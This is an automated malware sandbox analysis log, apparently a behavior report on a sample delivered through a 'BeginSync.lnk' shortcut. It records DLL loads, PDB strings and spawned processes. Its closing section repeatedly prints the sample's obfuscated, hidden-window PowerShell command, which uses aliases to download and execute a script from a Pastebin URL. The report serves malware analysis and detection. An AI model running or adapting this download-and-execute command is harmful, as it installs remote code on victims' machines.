Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll

Source: BeginSync.lnk.1.dr

LNK file: ..\..\..\Windows\System32\forfiles.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: \??\C:\Windows\mscorlib.pdbl] source: powershell.exe, 0000000C.00000002.1746802564.000002927D9E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdb source: powershell.exe, 0000000C.00000002.1746099211.000002927D9A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbll\YC source: powershell.exe, 00000001.00000002.1549184232.0000026CA95F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb4e089 source: powershell.exe, 00000011.00000002.1846512866.00000240989A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbll source: powershell.exe, 00000011.00000002.1844743189.000002409836A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb@ source: powershell.exe, 00000001.00000002.1509139350.0000026C8F3BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbAf9(@ source: powershell.exe, 00000011.00000002.1846512866.000002409890E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000001.00000002.1509846043.0000026C91352000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.pdbhP source: powershell.exe, 00000001.00000002.1510210225.0000026C92C00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: n.pdb$ source: powershell.exe, 0000000C.00000002.1747621659.000002927DA16000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 0000000C.00000002.1747621659.000002927DA16000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.PowerShell.Commands.Utility.pdb] source: powershell.exe, 00000001.00000002.1549184232.0000026CA964F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 0000000C.00000002.1747621659.000002927DA16000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ement.Automation.pdb source: powershell.exe, 00000011.00000002.1846512866.000002409890E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbw source: powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.pdb source: powershell.exe, 00000001.00000002.1510210225.0000026C92C00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000001.00000002.1549184232.0000026CA95E5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000001.00000002.1549184232.0000026CA964F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1746099211.000002927D9D7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 0000000C.00000002.1745296458.000002927D952000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1846512866.00000240989A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdbk source: powershell.exe, 0000000C.00000002.1747689260.000002927DA1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbG source: powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb: source: powershell.exe, 00000001.00000002.1549184232.0000026CA96D7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbl source: powershell.exe, 0000000C.00000002.1747689260.000002927DA1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ement.Automation.pdb? source: powershell.exe, 0000000C.00000002.1747689260.000002927DA1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdbY source: powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdbs source: powershell.exe, 00000001.00000002.1549184232.0000026CA96D7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbpw source: powershell.exe, 00000001.00000002.1549184232.0000026CA95F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdbc source: powershell.exe, 00000001.00000002.1549184232.0000026CA95E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 00000001.00000002.1509846043.0000026C91352000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdb9 source: powershell.exe, 00000011.00000002.1844743189.000002409836A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000001.00000002.1509846043.0000026C91352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1745296458.000002927D952000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1844743189.000002409836E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1846512866.00000240989A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000011.00000002.1846512866.000002409890E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000001.00000002.1509139350.0000026C8F3BB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1846512866.00000240989A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \mscorlib.pdbpdblib.pdbA* source: powershell.exe, 00000001.00000002.1509846043.0000026C91352000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 0000000C.00000002.1745296458.000002927D966000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automationib.pdb source: powershell.exe, 0000000C.00000002.1747689260.000002927DA1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbp; source: powershell.exe, 00000001.00000002.1509139350.0000026C8F3BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdbc source: powershell.exe, 0000000C.00000002.1747621659.000002927DA16000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000C.00000002.1747689260.000002927DA1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 0000000C.00000002.1746099211.000002927D9A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000011.00000002.1846512866.00000240989A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbix source: powershell.exe, 0000000C.00000002.1746099211.000002927D9D7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\System.Management.Automation.pdbpdbo source: powershell.exe, 0000000C.00000002.1745296458.000002927D966000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.PowerShell.Commands.Utility.pdbpdbity.pdb89 source: powershell.exe, 0000000C.00000002.1746802564.000002927D9E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb` source: powershell.exe, 00000001.00000002.1549184232.0000026CA964F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb% source: powershell.exe, 00000001.00000002.1509846043.0000026C91352000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"	Jump to behavior
